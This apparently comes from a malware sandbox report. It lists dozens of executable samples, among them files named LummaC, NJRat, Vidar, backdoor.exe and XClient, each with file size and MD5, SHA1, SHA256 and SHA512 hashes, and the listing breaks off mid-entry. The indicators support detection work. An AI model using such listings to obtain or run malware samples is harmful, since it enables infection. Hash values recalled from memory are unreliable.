3e664b59ba376749eb9b596b6499bf7edcec5d34382ead80964f9fe92a4c3c83

SHA512
01c42bb22a92543a3408c6f420593443357a53915937341b5eaf8563ee775dbdeba7af38e2df9c9cf249a512a5a42c65c4c4d39d100e8a4143e58fd235b85951

Download Submit
C:\Users\Admin\Desktop\Files\KuwaitSetupHockey.exe

Filesize
4.4MB

MD5
7f69b1fa6c0a0fe8252b40794adc49c6

SHA1
5d1b7a341b1af20eae2cae8732f902a87a04b12b

SHA256
68662d24f56c624dee35c36010f923a8bf8d14b8c779ad3dafe8dd6b81bb3431

SHA512
6a9e13e0b1c1b0c8fbf41c94147c7cf16a41af7bd656dc606c1ca1dc8bc0986785252155661d19cc2f9ec35b26fb47456d842bc5fdf469bdd09f72d48b3a5256

Download Submit
C:\Users\Admin\Desktop\Files\Launcher.exe

Filesize
18KB

MD5
4f87c94096d58e923812c23b8d5c36b2

SHA1
179861beb9cef904f765bea8d644396bf998d1a6

SHA256
27085156ea5d861390ca922d8aa78e234171f64747c942de379bfa8917cceb17

SHA512
a28c12366249cabe9f2c3310437a4a9897cd8662455e6ff66b1984955ad2e10ed5998f7ccd53d992a791b4b5595df660d1f91cd39271d0746097260f7d4da761

Download Submit
C:\Users\Admin\Desktop\Files\LummaC22222.exe

Filesize
258KB

MD5
40e9f5e6b35423ed5af9a791fc6b8740

SHA1
75d24d3d05a855bb347f4e3a94eae4c38981aca9

SHA256
7fdd7da7975da141ab5a48b856d24fba2ff35f52ad071119f6a83548494ba816

SHA512
c2150dfb166653a2627aba466a6d98c0f426232542afc6a3c6fb5ebb04b114901233f51d57ea59dbef988d038d4103a637d9a51015104213b0be0fe09c96aea8

Download Submit
C:\Users\Admin\Desktop\Files\LummaC222222.exe

Filesize
352KB

MD5
2f1d09f64218fffe7243a8b44345b27e

SHA1
72553e1b3a759c17f54e7b568f39b3f8f1b1cdbe

SHA256
4a553c39728410eb0ebd5e530fc47ef1bdf4b11848a69889e8301974fc26cde2

SHA512
5871e2925ca8375f3c3ce368c05eb67796e1fbec80649d3cc9c39b57ee33f46476d38d3ea8335e2f5518c79f27411a568209f9f6ef38a56650c7436bbaa3f909

Download Submit
C:\Users\Admin\Desktop\Files\Meeting-https.exe

Filesize
523KB

MD5
4b61a3d79a892267bf6e76a54e188cc0

SHA1
e1dc7ad66e65bf5ca6701eb224d11761c56b1288

SHA256
6bff92bd6fb84f1a453ead8ef017b6ae42a78b7fbbbd6414ec8a9cd669bf3b05

SHA512
4970d37d95accc39709886f45125a3059e58c4dc91dee46591737ad0279efb8f395625fff67a0daa30a6f8b29f79af13aeadf71c2b9f18844a2883e004b06884

Download Submit
C:\Users\Admin\Desktop\Files\Microsoft.exe

Filesize
423KB

MD5
96f6cb8e78692f8bff528da76bfde919

SHA1
ca91a16c510b864e52ed6e7a15022b951328d00a

SHA256
94b0cc15820061feae57ffc9e46f4c07f9023659b4ca2dfd105802d843b4c0d3

SHA512
b6bdea8a15e7cf64a7c368544069e7422916447b1549ac76ca8acb663aeef7f8f71e16c99e580237a3bf9abeabb8bd4dd087c1a13f0ff8dede25c72ada6115ed

Download Submit
C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe

Filesize
13.9MB

MD5
9d41dd724093ec2ad188a4cbd4fa0b3d

SHA1
746064ff3ec5a3b811e271f7f4cb4ba54514258a

SHA256
53c87ac72657295efd0f9553c6924d9935d01a8a1564903178e5953b5f34c8f1

SHA512
9e91106f30d100ff6c616c8c2f42ff54a2cf93938b3cf9287a6494253b4cb0423da972a2a237fddc24f53f7fab3799c8947bf08466a6e03c51fd1f43d333adb9

Download Submit
C:\Users\Admin\Desktop\Files\Mswgoudnv.exe

Filesize
924KB

MD5
de64bb0f39113e48a8499d3401461cf8

SHA1
8d78c2d4701e4596e87e3f09adde214a2a2033e8

SHA256
64b58794801f282e92571676e3571afc5c59033c262406bf0d36e1d6ef3cda6a

SHA512
35b7cdcfb866dcdc79be34066a9ad5a8058b80e68925aeb23708606149841022de17e9d205389c13803c01e356174a2f657773df7d53f889e4e1fc1d68074179

Download Submit
C:\Users\Admin\Desktop\Files\NJRat.exe

Filesize
31KB

MD5
29a37b6532a7acefa7580b826f23f6dd

SHA1
a0f4f3a1c5e159b6e2dadaa6615c5e4eb762479f

SHA256
7a84dd83f4f00cf0723b76a6a56587bdce6d57bd8024cc9c55565a442806cf69

SHA512
a54e2b097ffdaa51d49339bd7d15d6e8770b02603e3c864a13e5945322e28eb2eebc32680c6ddddbad1d9a3001aa02e944b6cef86d4a260db7e4b50f67ac9818

Download Submit
C:\Users\Admin\Desktop\Files\Neverlose%20Loader.exe

Filesize
502KB

MD5
f5b150d54a0ba2d902974cbfd6249c56

SHA1
92e28c3d9ff4392eed379d816dda6939113830bd

SHA256
1ba41fb95f728823e54159eb05c34a545ddb09cb2d942b8d7b6de29537204a80

SHA512
57aade72ad0b45fdf1a6fdfa99e0d72165a9d3a77efd48c0fb5976ab605f6a395ab9817ea45f1f63994c772529b6b0c6448fa446d68c9859235ce43bf22cb688

Download Submit
C:\Users\Admin\Desktop\Files\NorthSperm.exe

Filesize
1.5MB

MD5
ff83471ce09ebbe0da07d3001644b23c

SHA1
672aa37f23b421e4afba46218735425f7acc29c2

SHA256
9e7bf4b2bd7f30ea9d9dca6bc80d28c5b43202df1477a4d46f695e096dce17ba

SHA512
179c724558065de4b7ea11dd75588df51a3fce737db3ebc77c8fdc0b3a432f6f1fdcc5acd2e2706ab0f088c35a3310c9e638de92ce0a644322eae46729aea259

Download Submit
C:\Users\Admin\Desktop\Files\Office2024.exe

Filesize
2.7MB

MD5
df92abd264b50c9f069246a6e65453f0

SHA1
f5025a44910ceddf26fb3fffb5da28ea93ee1a20

SHA256
bc7d010eb971dbc9cbeedc543f93bb1b6924d57597e213dbe10c2c1efd8d0296

SHA512
a3f48831efa65cea6a2cf313f698b59d84119023196e11b1266d937a5b4c05aa4aab67c6d40450bef5c9245b46316980906fa73196d892f2880abc2b1b863455

Download Submit
C:\Users\Admin\Desktop\Files\OneDrive.exe

Filesize
1.3MB

MD5
1b99f0bf9216a89b8320e63cbd18a292

SHA1
6a199cb43cb4f808183918ddb6eadc760f7cb680

SHA256
5275e3db6276e5f0b85eff0c7b0282f56268646766b1566ba8f797e6ba2a9357

SHA512
02b7f410c6ccfd7d43159287424916a310b7e82c91cdb85eaeade16cf5614265a8bdcce8e6dcc2240ea54930cfb190f26ada3d5c926b50617a9826197f9cf382

Download Submit
C:\Users\Admin\Desktop\Files\PCclear_Eng_mini.exe

Filesize
32KB

MD5
b41541e6a56a4b091855938cefc8b0f0

SHA1
8006b2728d05eab4c5d6dc0bb3b115ddc1e2eaa7

SHA256
d4c48762f128436fed18b9c714e55bf7360802127efb233ad31ec4b0f7f649b1

SHA512
a3c2b5dddbb5b8ded63e04672610287458b4bed6ea054e45804e612a2896d92412ef632c621a49b445412d8998a5edc914b055502e22fcfe0e178e5098b64828

Download Submit
C:\Users\Admin\Desktop\Files\PctOccurred.exe

Filesize
1.3MB

MD5
31f04226973fdade2e7232918f11e5da

SHA1
ff19422e7095cb81c10f6e067d483429e25937df

SHA256
007c6dfe4466894d678c06e6b30df77225450225ddd8e904e731cab32e82c512

SHA512
42198fc375993a09da3c8a2766ee6831cf52ff8cd60b3eb4256a361afa6963f64a0aff49adb87c3b22950e03c8ef58a94655959771f8d2d5b754012706220f66

Download Submit
C:\Users\Admin\Desktop\Files\Pichon.exe

Filesize
4.8MB

MD5
3bb8ce6c0948f1ce43d5dc252727e41e

SHA1
98d41b40056f12a1759d6d3e56ab1fe0192a378f

SHA256
709bddb0cbd2998eb0d8ca8b103b4e3ed76ca8cdc9150a6d0e59e347a0557a47

SHA512
239b8df14d47f698acef2f7c70cbfc943fe66a25553940078b08bf60957f94d6480a8cf5d846e6b880c79ab248e83d8da033cfc6c310a5e2564678b129e7296a

Download Submit
C:\Users\Admin\Desktop\Files\RambledMime.exe

Filesize
1.4MB

MD5
8ccd94001051879d7b36b46a8c056e99

SHA1
c334f58e72769226b14eea97ed374c9b69a0cb8b

SHA256
04e3d4de057cff319c71a23cc5db98e2b23281d0407e9623c39e6f0ff107f82a

SHA512
9ce4dc7de76dae8112f3f17d24a1135f6390f08f1e7263a01b6cb80428974bf7edf2cde08b46e28268d2b7b09ab08e894dd2a7d5db7ebffe7c03db819b52c60d

Download Submit
C:\Users\Admin\Desktop\Files\RedSystem.exe

Filesize
607KB

MD5
933f2db7b8ded6946f35720a366e7b14

SHA1
5411148b9de498d98e2ee67c8685717d8b44f4cd

SHA256
ba8d4df86924743be143d569ac06b8a1b1d7e2c554720e7f31126a0db04c3daa

SHA512
45a4b2474b63bfca9551dc21116fc33797fb62d9f57a439693152df0114a07530afc7de95dba417d9750d108bcc406388cb9d37bfe5e147b221c7accd33e07b6

Download Submit
C:\Users\Admin\Desktop\Files\S%D0%B5tu%D1%80111.exe

Filesize
6.4MB

MD5
9436c63eb99d4933ec7ffd0661639cbe

SHA1
12da487e8e0a42a1a40ed00ee8708e8c6eed1800

SHA256
3a79351bd8099a518ecb4258aacecc84f7ed44cf67426b482b7583ce20c17e4e

SHA512
59bc369bf7d96865be7e2f0b148e8216804c7f85d59958e7cc142770b44a84a266db8aec05b28bed483828f84abd81a21b3d40cdda230c1a534f6b380a387c44

Download Submit
C:\Users\Admin\Desktop\Files\S%D0%B5tup.exe

Filesize
6.4MB

MD5
58002255ca7651f46ffd07793008bad2

SHA1
bb9248a25b0ba2e969d9ad45715afd959a53915f

SHA256
6c77c2a923fae249f3f2c0d4c2f5153896a09076ffd9699b3a067b7f7d1da0fe

SHA512
875ef86bfbf239ac47d3167ff83a9519b0dd1103eb12c1e08d879acd7ba89afdb3df9ec60d9b0060921664e530c870e48da24b8e2b27bce16dc2a13b0e87726b

Download Submit
C:\Users\Admin\Desktop\Files\Security.exe

Filesize
488KB

MD5
f8862a71544afeafbd2ed09e19e33b50

SHA1
beff8d7435af5b6dcc54bb47fb1b5a61a5faa4bf

SHA256
d3ddea55a7fdb26efcf9d220940191fa07ed291d1b7dce2c7f6f157575886ebb

SHA512
3f16e8b0076698bb2dcbf651fb1227192ac4ebd6a960097f26620f073c5c4e7180703c631e5a11929dc5d00cbd02a89273ba79369d117fb3533ee7f8fe632033

Download Submit
C:\Users\Admin\Desktop\Files\SemiconductorNot.exe

Filesize
1.1MB

MD5
7adfc6a2e7a5daa59d291b6e434a59f3

SHA1
e21ef8be7b78912bed36121404270e5597a3fe25

SHA256
fbb957b3e36ba1dda0b65986117fd8555041d747810a100b47da4a90a1dfd693

SHA512
30f56bd75fe83e8fb60a816c1a0322bc686863d7ab17a763fff977a88f5582c356b4fcfe7c0c9e3e5925bfee7fc44e4ea8b96f82a011ed5e7cd236253187181b

Download Submit
C:\Users\Admin\Desktop\Files\T3.exe

Filesize
1.2MB

MD5
5e7c5bff52e54cb9843c7324a574334b

SHA1
6e4de10601761ae33cf4de1187b1aefde9fefa66

SHA256
32768587423824856dcd6856228544da79f0a2283f822af41b63a92b5259c826

SHA512
8b07b8470a8536ca0541672cb8bf5dc5ed7fa124cfc454868564b86474d07c17ef985fc731754e4d37cc5c81f8813f0d2b59223e7b3b6268c10ff2af8f39eaa2

Download Submit
C:\Users\Admin\Desktop\Files\TPB-1.exe

Filesize
274KB

MD5
68da9ec6ceb5dfd69fd6a6a5290a94ef

SHA1
5f4c78e48c4d12dad0d1714fe1be515eff89b452

SHA256
a2798b69026fb2332e89ddd9ba0ddb82b7d658231bf8e4edd2577e25b76a0395

SHA512
137e4f1a9c6e56de900efe6ede8c48fc014a676e8552f98553b2e3f9716a9cb45b8a1304ecba6f8021d0dc2507e075ba2ec8c6d17443dc27eb85b9f5962a17ce

Download Submit
C:\Users\Admin\Desktop\Files\UNICO-Venta3401005.exe

Filesize
10.4MB

MD5
2c45bece25c14a84e32561aa7186ef19

SHA1
5bf26fc439d694d66eb25dcabcea74770655d272

SHA256
d50b291f2cbd21c11648a5722030b4e8f398b1683cec9c3ffdcac7580c7604d0

SHA512
06300ede10b841a801910e5f576434bba89af26641303030dbdfb7e34817ece4373b88470a1d74b52872493401b5661f3c5d947b16d75cc7fc91f861cbf25ee9

Download Submit
C:\Users\Admin\Desktop\Files\Unit.exe

Filesize
326KB

MD5
bc243f8f7947522676dc0ea1046cb868

SHA1
c21a09bcc7a9337225a22c63ebcbb2f16cdcbbbe

SHA256
55d1c945e131c2d14430f364001e6d080642736027cdc0f75010c31e01afcf3a

SHA512
4f0902372df2cbd90f4cb47eff5c5947ba21f1d4ca64395b44f5ae861e9f6a59edce7992cfebe871bd4f58303688420604e8028694adf8e9afdc537527df64ca

Download Submit
C:\Users\Admin\Desktop\Files\Utility.exe

Filesize
199KB

MD5
467e90574e18aa2dc93f595a6a3750ca

SHA1
e607d2e68676bd72704f9447c627d5afa4f93507

SHA256
4c039fdb8230ed22010cd3fd84e7c53308bf659c0f26791061c01f0de395553b

SHA512
7945d20da81583991621c7eda0691fe59cdecac2d0cc54ef50077a0261b9581d813cfc39b7f1518656d1e19329441e6d5b02db521fc6e4336d2406c785080966

Download Submit
C:\Users\Admin\Desktop\Files\Vidar.exe

Filesize
1.2MB

MD5
2f79684349eb97b0e072d21a1b462243

SHA1
ed9b9eeafc5535802e498e78611f262055d736af

SHA256
9be494b1233a38c3d86ae075d3073ff4de88bc3064011554aa7c96d5ef068c04

SHA512
4d94ae4633f3bf489d1bc9613fc6028865064ec98f73b5e9e775f08ff55d246daeddce6a4a0a013a9d05e65edc726768c397d0382e5c35352144b5338d6467d3

Download Submit
C:\Users\Admin\Desktop\Files\VidsUsername.exe

Filesize
2.5MB

MD5
081c87c612e074a69ed34d7102543bbc

SHA1
ab54e6cae05b483b89badd3f11e72efdbf229771

SHA256
2808948b635ccf20d4bf679457e45bfe21a783ec99e095e55382bede47f6579f

SHA512
caeca5e66b0f11d46f2b83ad2c56f20f95aaf8ba1f1e7c235dcc39361a6d9dfce838231617fb23f653711e3dcfcd5ec073d9922553f9f42a8242c58d0161b23d

Download Submit
C:\Users\Admin\Desktop\Files\Vn70wVxW.exe

Filesize
455KB

MD5
2d340fd6abb83c75fb8d07b8290a66d5

SHA1
16bfa539bce445beec6ed39a25424d7d76638f00

SHA256
d4f93e8b826e222634c243fadc30451502e0d659de116debee5edf5a547c6704

SHA512
aa86932111165d0f8355b5d7916e77b2ad21db1505d82ff6a1b804b48512a3b45f1568d64a21ed948674f0b8d45d2a193604053c8a52c77eb65e6e672bb713be

Download Submit
C:\Users\Admin\Desktop\Files\WatchDog.exe

Filesize
62KB

MD5
4aa5e32bfe02ac555756dc9a3c9ce583

SHA1
50b52a46ad59cc8fdac2ced8a0dd3fceeb559d5f

SHA256
8a9235655b1a499d7dd9639c7494c3664e026b72b023d64ea8166808784a8967

SHA512
a02cf44a9fd47cff1017bbccf1a20bb5df71afb9110cd10c96a40aa83e8aeaff898bef465d60572282b30087144794192882b998e278e3a03d8a7e5e24313756

Download Submit
C:\Users\Admin\Desktop\Files\WinRarInstall.exe

Filesize
4.7MB

MD5
af91873c641aab500eba3a3ad6f17b74

SHA1
c52992ba04624bcd87696f9c37c9c708b3c15b9c

SHA256
f568d5c96eefd67d284787b804ab17a610a93dcc48d855515fb187f1b6dba249

SHA512
730a9215911d16cd04d578d7c0f660d3d04282183ad7274bdb18d2f542b044bfe75f76e57fc092bfd6ab28b5f780aff4d01446f8868830d931d860a521795ffc

Download Submit
C:\Users\Admin\Desktop\Files\XClient.exe

Filesize
75KB

MD5
b365e0449d1e426156963af99da3f9c1

SHA1
0ec88a37b6bb449755bf27001a199e134bc301c1

SHA256
938386b9f508c8d0c5cfe1a41248e2cbdf42fe29a93910598bd94bfee605159d

SHA512
03a7ef914122c3985de15b8e49025c8d4f784aa9452ed123023a3e5e0ef19a52f013bf7d572aa997c347770d95dc60b516074f0ac4d29fbd1e0dfccd49044c51

Download Submit
C:\Users\Admin\Desktop\Files\XClient_protected.exe

Filesize
111KB

MD5
c27417453090d3cf9a3884b503d22c49

SHA1
17938ece6999bc94d651743063c3f989e38547b4

SHA256
d330b3cec745ce7bf9856e3cdce277a52fe7ad09874d519fa7b9b080a61a7407

SHA512
27d115974702510f9ef7eb841d359764197429ed9d233f98facec317fdaa8b4ec4e481103d8b950ee2f10711280e7296457107d928603af2174b586233abb443

Download Submit
C:\Users\Admin\Desktop\Files\ZZZ.exe

Filesize
326KB

MD5
3663c34a774b45d65edb817e27dcbdae

SHA1
4e9333fbdc6540bc312f6b324df9eb7dafedde2e

SHA256
f203e00cfa3c0ff98670d56ace48c0ee7bf1a997309a8da1379d5291cbe37c3d

SHA512
88c4939f5c2613e7fa62040d3307f9fc0c2f2e0bae4c7c166d5fb6ee6b921c99636dc89935b31c60d4ba45afd5ebdd80ba51914cb37e9e2a604781de89e45c05

Download Submit
C:\Users\Admin\Desktop\Files\ZinTask.exe

Filesize
2.5MB

MD5
dba7abdb1d2ada8cb51d1c258b1b3531

SHA1
fa18a0affb277c99e71253bca5834e6fe6cd7135

SHA256
3d0a544073fc4c02d5634bd33f76f9dae07d9a325340ed747bcfde51ea52e23f

SHA512
0491865151140a5252a87a771f6552fd527fae3dec3c43ca0b806702e7ad4953b7d16bd1d8f275828f8b094bc337f79ed5c298beed4ec99186e4f4c3bd3cdf2a

Download Submit
C:\Users\Admin\Desktop\Files\aaa.exe

Filesize
19KB

MD5
1318fbc69b729539376cb6c9ac3cee4c

SHA1
753090b4ffaa151317517e8925712dd02908fe9e

SHA256
e972fb08a4dcde8d09372f78fe67ba283618288432cdb7d33015fc80613cb408

SHA512
7a72a77890aa74ea272473018a683f1b6961e5e765eb90e5be0bb397f04e58b09ab47cfb6095c2fea91f4e0d39bd65e21fee54a0eade36378878b7880bcb9d22

Download Submit
C:\Users\Admin\Desktop\Files\abc.exe

Filesize
72KB

MD5
37fa8c1482b10ddd35ecf5ebe8cb570e

SHA1
7d1d9a99ecc4e834249f2b0774f1a96605b01e50

SHA256
4d2eaca742a1d43705097414144921ae269413efa6a2d978e0dbf8a626da919c

SHA512
a7b7341c4a6c332aef1ffb59d9b6c5e56ec7d6c1cb0eff106c8e03896de3b3729c724a6c64b5bf85af8272bd6cf20d000b7a5433a2871403dd95cca5d96ebd36

Download Submit
C:\Users\Admin\Desktop\Files\anne.exe

Filesize
45KB

MD5
1afe69dfd0013bf97a1ab941b6c5d984

SHA1
8dba7082cdcf8e0524a4300ca9ef437e281618ed

SHA256
33410cc8e262e90101e87a94f5cbc44c85adbe3a395fc683f99fd2ceb323cd2e

SHA512
e5629ba2be6567acfea94bcd10bdef48412074f4b8164436a4a4c28925b1d96e03f5f3640b56b2223a7ff686dde45fd5f446ef28278f3890102535340f41bb97

Download Submit
C:\Users\Admin\Desktop\Files\armadegon.exe

Filesize
941KB

MD5
f5b93d3369d1ae23d6e150e75d2b6a80

SHA1
6f6914770748ad148154e1576d9c6fe6887f2290

SHA256
343ea56746b6f08c7eccbfbb9fe1a544952a9a933140c677179f4f8c7bb60b81

SHA512
dcedaed2df62386b980cc1957f224fc48224aeb0f5bf8d0241acc7a0a552b0ae90697ed333189963540f8391cbecfa0977a8685723c5025c9a4f95918032cf1e

Download Submit
C:\Users\Admin\Desktop\Files\av_downloader.exe

Filesize
90KB

MD5
8af4f985862c71682e796dcc912f27dc

SHA1
7f83117abfeff070d41d8144cf1dfe3af8607d27

SHA256
d925204430ffab51ffbbb9dc90bc224b04f0c2196769850695512245a886be06

SHA512
3d4fcd9755dc4ea005fcd46e78426c5f71b50873c5174a69abcdff41a2e0405c87a36137c0c2409abedadb0ecdf622cbfd2fa1b59a2e06c81cef68d7c6c663b7

Download Submit
C:\Users\Admin\Desktop\Files\award.pdf.exe

Filesize
360KB

MD5
90d46387c86a7983ff0ef204c335060a

SHA1
2176e87fa4a005dd94cca750a344625e0c0fdfb0

SHA256
e463e04623e7348c515e0cc29320ff4e282c360a93b7a51f696639bd96a8bfb8

SHA512
654768e8a185ae338f255ecc3e512f6b89a984c44807c9153b17c4e4a7cc6b796536c563b1823ed84fbc20414f7a5ead7e9296d1f6cd03aa52b293075e9fcb7b

Download Submit
C:\Users\Admin\Desktop\Files\backdoor.exe

Filesize
68KB

MD5
698f5896ec35c84909344dc08b7cae67

SHA1
4c3eb447125f74f2eef63e14a5d97a823fa8d4e9

SHA256
9cc2e2d5feeb360b2ea9a650809468f08e13c0e997ebadf5baa69ae3c27a958e

SHA512
2230abef3f2ac7fff21f2af8a1df79a0ab3f7b1153ce696745ff5cef7f677bfe562dc820eb36be8e4819210ffa565d52e3b940f0cad5427d30a3aa05a4bcde2b

Download Submit
C:\Users\Admin\Desktop\Files\build11.exe

Filesize
10.7MB

MD5
2cb47309bb7dde63256835d5c872b2f9

SHA1
8baa9effc09cf80b4a1bac1aa2aa92b38c812f1d

SHA256
18687a2ceebf3eda4a11a2ef0b1d85360d8837ad05c1b57f9f749ea06578848e

SHA512
3db4a42cbf6bc26d77320bf747e7244e54320b5e6ebf6a65bfd731beb7e99958bc5b7e9fe3ab1579becd42c588789c2185be74f143d120041b0331b316017104

Download Submit
C:\Users\Admin\Desktop\Files\build555.exe

Filesize
2.0MB

MD5
4e18e7b1280ebf97a945e68cda93ce33

SHA1
602ab8bb769fff3079705bf2d3b545fc08d07ee6

SHA256
30b84843ed02b74dfd6c280aa14001a724490379e9e9e32f5f61a86f8e24976d

SHA512
9612654887bdd17edba4f238efd327d86e9f2cd0410d6c7f15a125dacfc98bf573f4a480db2a415f328a403240f1b9adc275a7e790fd8521c53724f1f8825f37

Download Submit
C:\Users\Admin\Desktop\Files\bwapp.exe

Filesize
2.3MB

MD5
17ba78456e2957567beab62867246567

SHA1
214fed374f370b9cf63df553345a5e881fd9fc02

SHA256
898db742c0c5503bc396a53b67b8a86da0722d51907c4be2beb364c2d578023a

SHA512
2165ba2aa0a0214f06bc31402bc2ea170d11032efc7ee56070b6abb0feb322b082ffd5dc5b2ad9841295ea85bd25826ba55fb00ed924fdb5ffd0f9f14d671eba

Download Submit
C:\Users\Admin\Desktop\Files\cabal.exe

Filesize
100KB

MD5
8780b686df399f6ebd518bdc39c99027

SHA1
9b14eb76f87bb42845bdae321ce2c2a593686af4

SHA256
75207c4baaee7583c427df119c253e6a95c6a42b98e1902502a839f9879b42fe

SHA512
92a363be3f33ee2b805cb6133f2e35c3a13cd0e9c321eba8e9d39802e52df3a693c30e96f8e19496d57bc0124eea50f2548e90b64408a907d176f00473099238

Download Submit
C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe

Filesize
958KB

MD5
aa3cdd5145d9fb980c061d2d8653fa8d

SHA1
de696701275b01ddad5461e269d7ab15b7466d6a

SHA256
41376827ba300374727d29048920ca2a2d9f20b929e964098181981581e47af2

SHA512
4be32b5e9eaffa8d3f4cce515717faa6259373e8dbd258b9ebc2534fd0b62aaa7043093204e43627983fe332f63d8f998a90dc1cbb74f54a18c55f67e42a8a32

Download Submit
C:\Users\Admin\Desktop\Files\cc2.exe

Filesize
314KB

MD5
ff5afed0a8b802d74af1c1422c720446

SHA1
7135acfa641a873cb0c4c37afc49266bfeec91d8

SHA256
17ac37b4946539fa7fa68b12bd80946d340497a7971802b5848830ad99ea1e10

SHA512
11724d26e11b3146e0fc947c06c59c004c015de0afea24ec28a4eb8145fcd51e9b70007e17621c83f406d9aeb7cd96601245671d41c3fcc88a27c33bd7cf55ac

Download Submit
C:\Users\Admin\Desktop\Files\cccc2.exe

Filesize
359KB

MD5
6b470f7251aa9c14d7daea8f6446e217

SHA1
a256c54d4dd7e0a7a1582d8fdfef5807bc3c4af4

SHA256
8b9097b795d42c49c3b2c560714226361671a3f1d711faa9aeaee20e22e7095f

SHA512
fdc553c9d2ff19343dd99b0b34c875752df4fa0cbd494096aeb51d859bd102448f1a5043a53a808045ae52077f180546a134b1aa69db4dc04aff2610fadeaca4

Download Submit
C:\Users\Admin\Desktop\Files\client.exe

Filesize
74KB

MD5
4fb681131f7ac7824c4f0afd337986d9

SHA1
c746978c6c091d94f2bbd17b1ad5954c4306bece

SHA256
cc38fb3ee3227606258b1b9ccba885393d6ed4a54a51aefef30a669cdc171e80

SHA512
b5c2c3f6b5fe4845c0462059d9177b0cf56a36fe528745a9ea7f27120fdf2184b44be4dc5195d9e0d98a5a5987b8bc212707b3b4cc5ada9203db61f9859f3868

Download Submit
C:\Users\Admin\Desktop\Files\clip.exe

Filesize
507KB

MD5
6ca0b0717cfa0684963ff129abb8dce9

SHA1
69fb325f5fb1fe019756d68cb1555a50294dd04a

SHA256
2500aa539a7a5ae690d830fae6a2b89e26ba536f8751ba554e9f4967d48e6cfa

SHA512
48f9435cf0a17aed8ff4103fa4d52e9c56f6625331a8b9627b891a5ccada14f14c2641aac6a5c09570f26452e5416ac28b31fe760a3f8ba2f5fe9222d3c336ee

Download Submit
C:\Users\Admin\Desktop\Files\contorax.exe

Filesize
102KB

MD5
771b8e84ba4f0215298d9dadfe5a10bf

SHA1
0f5e4c440cd2e7b7d97723424ba9c56339036151

SHA256
3f074fb6a883663f2937fd9435fc90f8d31ceabe496627d40b3813dbcc472ed0

SHA512
2814ef23653c9be5f5e7245af291cf330c355ed12b4db76f71b4de699c67a9ffd1bdc0cc1df5352335b57ab920404b9c8e81cd9257527264bde4f72a53700164

Download Submit
C:\Users\Admin\Desktop\Files\cookie250.exe

Filesize
304KB

MD5
1b099f749669dfe00b4177988018fc40

SHA1
c007e18cbe95b286b146531a01dde05127ebd747

SHA256
f7b57a665ac90377683c434a04b8b6894c369d34fdb03273778a8c9f8fdbb262

SHA512
87dc26b28cb2c43c788d9ae9ef384b69be52b27500bc23cdc6acc8567e51705d99ef942cdc0b23fa6a7c84d4ddaaa8f05865a8e7bb4ad943ba5deabf7a4105fd

Download Submit
C:\Users\Admin\Desktop\Files\crazyCore.exe

Filesize
33.2MB

MD5
4207460f8628bd200838276b4ee16156

SHA1
8eb671ff2c0ebf57aa98f90a5e11e2cb837a6906

SHA256
ee59a995be20b18582e8a3fb8bbf337199626d2043e3e6b02d619b7ecc68116d

SHA512
54b5dfd66e1c9e8f69b208b4dd0410b3c1b283034a77f1af469bca4affcebb78ccb04e1b6775ea4eba94c971a8e892887d04c1150ffb5e3ad09d3186da489ac8

Download Submit
C:\Users\Admin\Desktop\Files\creal.exe

Filesize
16.4MB

MD5
da1695dba8bd25d00e05e7769d6d7e8e

SHA1
884c5b84185bfcc06b2f82474642e23af842cf26

SHA256
7166d6cc2435061f32cf982dba8f6ec27fc23a46c9705aa52fb2ba08eb7011aa

SHA512
8d0538def7bf8b993f812bdbedf3aa445637ff66746b1a041b491fbdd0e707356c2331aa56625a5c40d0ce6079cc0e9a30c9a2de65b002027e37f2ced24c72af

Download Submit
C:\Users\Admin\Desktop\Files\crypteda.exe

Filesize
1.1MB

MD5
ec23d4868753f523df127f531451dcbd

SHA1
8a172e091d057a8db1e3e1999d48060967b99f36

SHA256
5a4308d45dc245870376ece2209450e5ca46872e632c81c3c61178f139ef223d

SHA512
2e7b63f43a49514d9c98f4ef1964d4ad2b2eef5d88500098246a31d6391f68715bd2a216a662836815615fe4cc2410fe32eacfdd0d7b3cf16f58c816a0c651fb

Download Submit
C:\Users\Admin\Desktop\Files\cryyy.exe

Filesize
396KB

MD5
0f103ba48d169f87b6d066ca88bc03c1

SHA1
c0a175142d2b0793c653be23b83a4df2a0c9fc1c

SHA256
925c5c0d232f0b735e1eb0823890fe8b40c01d93f976a58ec605f36997c25079

SHA512
73a093d14abac8423061e48d07937ffbc8f20d55ca4907573cc015c3b0beaaa7d03f4c2382ab22d1ab5136cc2464dbe5150608054a3eb449cbbd50b278f26884

Download Submit
C:\Users\Admin\Desktop\Files\dmshell.exe

Filesize
7KB

MD5
a62abdeb777a8c23ca724e7a2af2dbaa

SHA1
8b55695b49cb6662d9e75d91a4c1dc790660343b

SHA256
84bde93f884b8308546980eb551da6d2b8bc8d4b8f163469a39ccfd2f9374049

SHA512
ac04947446c4cb81bb61d9326d17249bca144b8af1ecdf1ac85b960c603e333b67ab08791e0501aee08939f54e517e6574895b1e49a588011008f8f060731169

Download Submit
C:\Users\Admin\Desktop\Files\downloads_db

Filesize
160KB

MD5
e794273d4754e790cf449969b23eace9

SHA1
09d0b5de78158c9c58847e96c07e8af939499f49

SHA256
a312e5dbc43984bd12f5ea7be817e9d07d471074af486ab0a247ac697f0fb13b

SHA512
dd70f278d2d0d3ee3839e52507a6b41403a07a8d1727441cd4aafd31582d7c08f684069c5fb0ff5b2848f124200cfdc96e3dd66ffe0744f97255a73b0a50b45b

Download Submit
C:\Users\Admin\Desktop\Files\downloads_db

Filesize
116KB

MD5
4e2922249bf476fb3067795f2fa5e794

SHA1
d2db6b2759d9e650ae031eb62247d457ccaa57d2

SHA256
c2c17166e7468877d1e80822f8a5f35a7700ac0b68f3b369a1f4154ae4f811e1

SHA512
8e5e12daf11f9f6e73fb30f563c8f2a64bbc7bb9deffe4969e23081ec1c4073cdf6c74e8dbcc65a271142083ad8312ec7d59505c90e718a5228d369f4240e1da

Download Submit
C:\Users\Admin\Desktop\Files\esphvcion.exe

Filesize
9.0MB

MD5
236052d31ea3dcec7e126b3a4b1bfe28

SHA1
cfac72282350d17a03bc1bb6bd63200b2f8af823

SHA256
7f5296f1c5227418ffb148048a4f51d2506d621d3ce07a628ff42734789b384b

SHA512
99d26b2b7b272d5af14f98612e155f964d7cb8acd200a696f5c63cfd34e394c049e66f2cb05657866dae5f9c4cdde207e830cc0afc654c6325a8f5adc2504483

Download Submit
C:\Users\Admin\Desktop\Files\espsemhvcioff.exe

Filesize
12.0MB

MD5
bbe62e176be79bc0a150fe76a651cae2

SHA1
53ed4e51c2f7339dbda1ffcc90a9ac02769da918

SHA256
